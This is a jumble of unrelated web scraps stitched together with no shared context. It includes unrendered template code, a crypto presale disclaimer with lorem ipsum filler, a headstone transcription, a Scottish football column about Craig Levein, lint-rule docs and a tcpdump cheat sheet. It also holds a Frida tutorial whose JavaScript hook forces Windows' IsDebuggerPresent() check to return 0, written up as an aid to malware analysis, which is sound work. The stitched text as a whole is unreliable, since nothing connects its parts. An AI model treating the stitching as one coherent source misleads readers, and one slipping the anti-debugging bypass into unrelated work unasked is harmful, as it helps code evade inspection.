Music for astrophotography themed YouTube channel)
Intro music + music in background for talking. (link)


{{blog.title}} {{queryText}} {{blog.lastUpdated | date: MM/dd/yyyy}} {{blog.publishedDate | date: MM/dd/yyyy}} by {{blog.author}} {{blog.numberOfComments}} Comments Read more


class ConfigInputFactory
Factory for transforming dialog.html to list of ConfigInput.
ConfigInputFactory(html: String, componentId: String)
Factory for transforming dialog.html to list of ConfigInput. |
fun parse(): List<ConfigInput>?
Parse html to ConfigInputs. |


Welcome and thank you for visitng digitalcurrencypresales.com Our purpose is to bring to your attention latest pre-sales upcoming aiming to raise funds for their projects.They can use our platform to share the pre-sale to share the idea with the crypto community.
www.digitalcurrencypresales.com would like to make it perfectly clear that we do not endorse, sponsor or advise to invest or not to invest in a pre-sale listed even if it is a paid ad. Any pre-sale shared here is merely for information purposes.
digitalcurrencypresale.com and our team will never contact you raising funds or comment on a presale ever so please wary of scams and possible attempts to mislead you. Investing in Pre-sales is highly risky we advise you make yourself of the risk involved namely rugpull. you are responsible for your decisions and we wish you the best of your luck in your investment.
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo.
Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo.


Login to your account
Email address
Password
I forgot password
Remember me
Sign in
Don't have account yet?
Sign up


Small curved top headstone, 3 kerbstones and 4 posts. Heavily overgrown with weeds. A number of letters have fallen away but inscription is fairly clear.
In [Lo]ving M[em]ory of CH[R]ISTOPHER CLARIDGE ACCIDENTLY KILLED AUGUST 30TH 195[5] AGED 16 YEARS THE LORD IS MY SHEPHERD.
Burial Register: C094
The Parish Church of St. Mary, Cogges, Oxfordshire.


Linq2Sql, EF 4 data/model first and WCF Data Services are old. Use Entity Framework 5+ or NHibernate.


Reliability level
{% for x in form %}
{{ x.label_tag }}
{{ x }}
{{ x.errors }}
{% if x.name == 'sea_state'%}
Numerical computation
{% if form.method == 'HDC' %}
The numerical grid has to be bigger than the contour.
{% endif %}
{% endif %}
{% endfor %}
Please consider that the calculation may take a few minutes.


Hearts will thank Craig Levein when his legacy becomes clear - Gordon Waddell
The Jambos boss had to go but he's left plenty for his successor.
by Gordon Waddell, https://www.dailyrecord.co.uk/authors/gordon-waddell/Hard as it may be to believe, the next Hearts manager will end up thanking Craig Levein for his legacy.
That he deserved to go in the end is indisputable.
No manager can survive six months at home without a win at a club the size of Hearts with such a demanding support.
A year ago today, they were top of the league. Since then, despite reaching a Scottish Cup Final and a League Cup semi-final, they’ve played 50 matches and won only 16 – eight of them in knockout games.
Some of their performances have been eye-bleedingly bad. A punishment exercise for punters.
Losing five to Livingston. A 0-0 draw at home to Ross County that they deserved to lose by the length of the A9.
The coup de grace in midweek that saw them fail to score against a St Johnstone side that haven’t been able to keep weans out a close all season.
But have a look at the line-up in the graphic. That’s comfortably a top-six team, at least.
Levein recruited all of these players yet never had the luxury of playing them together.
And behind the scenes his complete restructuring and close management of the club’s academy set-up has the club set up for years to come.
The next guy, if he’s lucky enough to get all these ducks in a row, could benefit instantly without working miracles.
Put that team, or close to it, on the park for half-a-dozen games in a row and it’s not inconceivable Hearts could rattle up the points to surge up the table.
The narrative around Levein has been venomous for months.
With every goal conceded at Tynecastle, you’d get some bam, temples throbbing, screaming at him to get to f***, a live enactment of the worst excesses of social media.
And in he’d walk after the game, looking perplexed, sometimes beleaguered, occasionally resigned, but ultimately always believing he just couldn’t catch a break.
And he was right.
There’s not a single side in the country, outside of the biggest two, who could deal with the loss of players he has and survive it.
John Souttar, Craig Halkett, Peter Haring, Stevie Naismith, Conor Washington and Jamie Walker would walk into every other club, together, and start.
Ben Garuccio, Glenn Whelan, Loic Damour and Jake Mulraney have also spent time on the sidelines this term.
Levein was left with Hearts’ reserves and what right did fans have to expect them to beat the likes of St Johnstone, Hamilton Accies and Ross County?
Ultimately, fans don’t want to hear it and there’s only so much a chief executive or chairwoman can listen to without realising they’re beyond the point of no return – the Hearts board and Ann Budge were smart enough to realise it was time to act.
The big question for them is where they go next.
And maybe more significantly how they get there.
As a club, off the field, they’ve done so much right in the post-apocalyptic days since Vladimir Romanov.
The creation of the Foundation of Hearts with some smart and qualified people. The decision not only to stay at Tynecastle but to invest in and enhance it, the goodwill of their matriarch to facilitate all of it.
The communication and brilliance of their Big Hearts charity arm. It’s all quality.
Except the bit that has to be.
Now it’s time to throw the baby out with the bathwater.
Back in 2014 when Budge and Levein emptied out Gary Locke and unveiled Robbie Neilson, they envisaged a succession plan to rear the next manager internally and ensure the transition was seamless.
It was idealistic, to be fair – that Scottish football’s bloodlust would allow that to happen – but the day they sacked Jack Ross from the incumbent’s role, the whole concept fell apart.
Success allows succession. Failure doesn’t. So this is a defining moment for Budge.
She may have sorted out the business but she hasn’t made a football decision in five years without Levein holding her hand and walking her through it. Look at the make-up of their board.
It’s impressive – but it’s full of CVs in corporate finance, tax management, law. Without Levein’s towering presence, it has zero experience with football.
Right now, they need to make a smart, calculating football decision – are they capable of making it? They can’t afford the buyout for a Michael O’Neill or even to bring back Neilson, who has just signed a fat new contract for Dundee United, a club speculating to accumulate like there’s no tomorrow.
They could go for under-rated Inverness boss John Robertson again. But could people stomach bringing in another legend to maybe endure what Levein has had to tolerate?
Budge wanted Steven Pressley in the last time but Levein kiboshed it and the fan reaction would have, even if he hadn’t.
So would Elvis’ current plight at Carlisle.
They could go left-field – but how did that work out for them last time when they brought the, ahem, unconventional Ian Cathro into our horribly ultra-conventional little pond?
They could try to persuade Stephen Robinson to give up his self-build at Motherwell and the near-certainty of a top-six finish for a bigger club, challenge and salary – but would he risk it?
So where they go from here will determine a lot.
It will determine Budge’s grasp of Scottish football, of taking the temperature of her fans, of recruiting, of the skills matrix of her board – and ultimately determine her legacy for the club.
By this morning she’ll have had 100 different names in her inbox, each trying to convince her that they’re the man for the job.
If she’s seen to be asking Levein to help her choose his successor, instead of just paying his deal up one month at a time, though?
Personally, this column has no doubts he’s capable of doing it
dispassionately but few others will believe it.
And that’s all that should matter – she’d never get over it.


"A State Table is a tabular representation of the time sequence of inputs, outputs, and flip-flop states. The table consists of four sections marked as present table, next state, and the output. The present-state section shows the states of flip-flops at any given time t. The input section gives a value for each possible present state. The next-state section lists the state of flip-flops one clock period later at time t + 1. Lastly, the output section gives the value for each present state."
STEP 1. Provide the following.
STEP 2.
Input the required flip-flop input/output functions.
Feel free to review your input before generating your state table.


Frida by example: bypassing IsDebuggerPresent() check
Almost every malware exists out there has a functionally to make the post-detection analysis more difficult. Threat actors use various anti-debugging techniques, one of the more common ones used to check whether a debugger is on via IsDebuggerPresent() Windows API call. In this blog post, we will discuss how to bypass this technique by Frida.
why Frida?
Frida is a dynamic instrumentation toolkit. It gives a simple interface where you can develop complex hooking logic rapidly and make changes to it as your requirements. Frida supports Windows, macOS, GNU/Linux, iOS, Android, and QNX.
Prepare a sample PE
To allow us to dynamically test our function hooks I wrote a small Windows test application harness in C++. You can see the main functionality below, it’s short and easy to understand.
// target.cpp
#include <Windows.h>
#include <iostream>
int main()
{
bool check = IsDebuggerPresent();
if(check == 0)
{
std::cout << "cool!" << std::endl;
}
else
{
std::cout << "common .." << std::endl;
}
return 0;
}
Lets try to look at IsDebuggerPresent() C++ function prototype.
BOOL WINAPI IsDebuggerPresent(void);
According to Microsoft docs, if the current process is not running in the context of a debugger, the return value will be zero.
Bypassing IsDebuggerPresent()
First of all, you need to install Frida, start from here: documentation. You can test your installation by running frida-ps.exe
in Powershell or CMD.
How The Frida works? Frida will inject Google’s V8 engine to a specific process. After that it will run JavaScript code and generate a dynamic hook. Lets make our hand dirty and write some JavaScript codes. :)
For hooking purpose we will use Interceptor
API.
Interceptor.attach(target, callbacks)
: intercept calls totarget
function. it’s aNativePointer
specifying the address of the function you would like to intercept calls to.
To begin, we need to find the address of IsDebuggerPresent()
function by using DebugSymbol
API.
// poc.js
isDebuggerPresentAddr = DebugSymbol.getFunctionByName("IsDebuggerPresent")
console.log("function address : " + isDebuggerPresentAddr)
Using the Interceptor
, we can quickly hook the application and write some basic JS to make IsDebuggerPresnt
to always return 0. Notice the use of isDebuggerPresentAddr
in the code.
// poc.js
Interceptor.attach(isDebuggerPresentAddr, {
onEnter: function (args) {
console.log("IsDebuggerPresent() get called ...");
},
onLeave: function (retval) {
retval.replace(0);
},
});
retval
is a NativePointer
-derived object containing the raw return value. We can use replace()
to change the return value.
Now it’s time to test the bypass method. First we spawn process without injecting our code:
frida.exe .\target.exe
Frida will stop on Entrypoint.Now try to attach your debugger to the target.exe
process and then type %resume
command to continue execution. debugger will be detected by the process.
Run the following command to inject our code and bypass the check:
frida.exe .\target.exe -l .\poc.js
You can see the result below.
The IsDebuggerPresent()
has been bypassed successfully. :)


--- layout: post podcast_file_name: 'episode11.mp3' duration: '04:36' data_length: '5540077' published: true title: Episode 11 --- {% include post_start.html %}
With @neonacho and @dblockdotorg
. {% include note.html project='SuchSwift' version='' author='Jonathan Hersh' twitter='jhersh' description='Adds very much wow to any UIView.' homepage='https://github.com/jhersh/SuchSwift' source='https://github.com/jhersh/SuchSwift' %} {% include note.html project='CCLHTTPServer' version='0.1.0' author='Kyle Fuller' twitter='kylefuller' description='Simple asyncronous HTTP server.' homepage='https://github.com/cocodelabs/CCLHTTPServer' source='https://github.com/cocodelabs/CCLHTTPServer' %} {% include note.html project='FLAnimatedImage' version='1.0.0' author='Raphael Schaad' twitter='raphaelschaad' description='Performant animated GIF engine.' homepage='https://github.com/Flipboard/FLAnimatedImage' source='https://github.com/Flipboard/FLAnimatedImage' %} {% include note.html project='ULDocument' version='1.0.1' author='Max Seelemann' twitter='macguru17' description='A lightweight and iCloud-ready document class.' homepage='https://github.com/soulmen/ULDocument.git' source='https://github.com/soulmen/ULDocument' %} {% include note.html project='SFPSDWriter' version='0.2.2' author='Konstantin Erokhin' twitter='nerolapis' description='A simple Objective C writer for .psd files with multiple layers and groups.' homepage='https://github.com/shinyfrog/SFPSDWriter' source='https://github.com/shinyfrog/SFPSDWriter' %} {% include note.html project='LCLPlayingCardView' version='2.0.1' author='Len Li' twitter='lenli' description='LCLPlayingCardView is a simple, but beautiful playing card implemented as a UIView.' homepage='https://github.com/lenli/LCLPlayingCardView' source='https://github.com/lenli/LCLPlayingCardView' %}Soundtrack: "Back to a Simpler Time" by Gilo.
{% include post_end.html %}


tcpdump -r file.pcap #read a pcap file, can pipe this into other tools for processing
tcpdump src host <ip> -r file.pcap #use tcpdump built in filters on pcap files
tcpdump -X -r file.pcap #print full Hex and ASCII output from pcap
tcpdump -A 'tcp[13] = 24' -r file.pcap #filter for specific packet flags, ACK and PSH. Filter on 14th byte of tcp[]/
tcpdump filter on tcp[tcpflags] == tcp-syn #see when something first initiates a TCP connection to us
tcpdump filter on icmp #see when something pings us


Kia Ora! ✌ Welcome to my Dev Academy portoflio site, the home of where everything I have learnt during this course will live.


Show Total Views
The purpose of this graph is to visualize two collumns of data within the same CSV file, as well as load different CSV files with the drop down menu. Each set of data is split up into 10 bars on the graph at a time to make it more visually appealing and readable, using "next 10" and "previous 10" buttons to surf through the data easily (which could easily be edited to load more or less than 10 at a time if the situation called for it with a few simple changes to the javascript). There's also a checkbox implimented to disable or enable the second set of data if the viewer so chooses.
A good example of the intended data of this graph would be to show the unique views and repeat views of different web pages, where the x axis (bottom) is the name of the web pages, and the y axis (left side) is the number of views. One bar would represent the number of total views, and the other bar would represent the number of unique views only (one per IP address). The hover text would just give more detailed information.


Spirekeeper is an newPixelart 2D platformer made by Bleitz.
playing as a cursed child who can transform into a werewolf
you will be working you through the toughest enemies
in the top-bottom designed levels named spires
at the end of a spire you meet the spirekeeper.
after completing every spire,
you will gain access to an online competition mode,
where the first one who slays the spirekeeper wins
And every single detail about Spirekeeper
will be added to the gamepedia article.
This game is still before alpha.
Testversions aren't out jet.
Any adviseses are appreciated,
just share it
using our new community function.
It's planned to always update Spirekeeper,
and balance Spirekeeper every Month.
But we are far away from
even launching the game
and everything you will post
in the new community function
will help us create the perfect game.
-Bleitz
All the devs at Bleitz only want
to make a game that everybody wants to play.
No barriers. No limits. Everybody with everybody.
The only thing that we want from you is feedback
and we can fix all your problems.
We aren't your enemies we are your friends.
At the time, Spirekeeper is the only project from us.
But in future we plan of becoming a big studio.


Iterator chaining: Lazy Evaluation
With Coconut's iterator chaining and slicing also comes the idea of lazy evaluation. This is the idea that nothing is evaluated until it is needed. Take a look at the following function definition:
def x(n) = (n,) :: x(n + 1)
This is an instruction to create an infinite sequence starting with the input provided. However, if used properly in Coconut, such a function will not lead you into an infinite loop. Try defining this function and entering the following command into Coconut:
x(5)$[0:5] |> list |> print
<
The command instructs Coconut to create the iterator for a sequence starting at 5. It then uses the iterator slicing functionality to take the first 5 elements to be iterated over, converts them to a list and prints them. Since the evaluation was lazy, Coconut did not have to go into an infinite loop to define the entire iterator, and instead only dealt with the part we explicitly asked it for.


Conventions
Set of rules that check F# coding conventions.
Sub-groups
Rules
RecursiveAsyncFunction - FS0013
Cause
Recursive async function ending in do!
instead of return!
is unsafe.
Rationale
If you end your recursive function with do!
instead of return!
, the compiler
cannot perform tail-call optimization.
How To Fix
Use return!
instead of do!
Rule Settings
enabled
- A boolean property that can enable and disable this rule. (Default false)
RedundantNewKeyword - FS0014
Cause
Using new
to instantiate a type which does not implement IDisposable
.
Rationale
new
is redundant for insantiating types which do not implement IDisposable
.
How To Fix
Remove new
keyword.
Rule Settings
enabled
- A boolean property that can enable and disable this rule. (Default true)
NestedStatements - FS0015
Single rule that checks code is not more deeply nested than a configurable depth.
Cause
A statement is nested deeper than a configurable depth, for example if MaxItems
was set to 8 (the default) then the following code would cause an error:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: |
|
Rationale
When code becomes too deeply nested it becomes more difficult to read and understand, try to refactor nested code out into functions.
How To Fix
Reduce the depth of the deepest statement, e.g. to fix the example in the "Cause" section you'd take out on level of depth:
1: 2: 3: 4: 5: 6: 7: 8: 9: |
|
Analyser Settings
enabled
- A boolean property that can enable and disable this rule. (Default true)
depth
- An integer property that specifies the max depth of a statement. (Default 8)
Full name: Conventions.dog


--- title: "Session 08" author: "Pooya Shirazi" date: 2018-12-13T00:00:00-08:00 output: html_document ---
To write an appropirate report, we are suggesting to use the Sample Report file. Each team should submit their report in “PDF” or “Word Document”.
Your final score for a report is the sum of the scores for all of the report parts:
This is the Power Point of the eighth session.


Uh-oh! No Keys Found
{% with messages = get_flashed_messages(with_categories=true) %}
{% if messages %}
{% for category, message in messages %}
{% if category == 'message' %}
{% else %}
{% endif %}
{{ message }}
{% endfor %}
{% endif %}
{% endwith %}
No valid keys were found at these path(s) in-container:
-
{% for key_path in key_paths: %}
- {{ key_path }} {% endfor %}
To correct this, either add your existing key mnemonic(s)
into the file(s) above, where mapped to your host filesystem.
Then restart the Machinaris container.
OR
You can generate a brand-new mnemonic key that will be written to: {{ key_paths[0] }}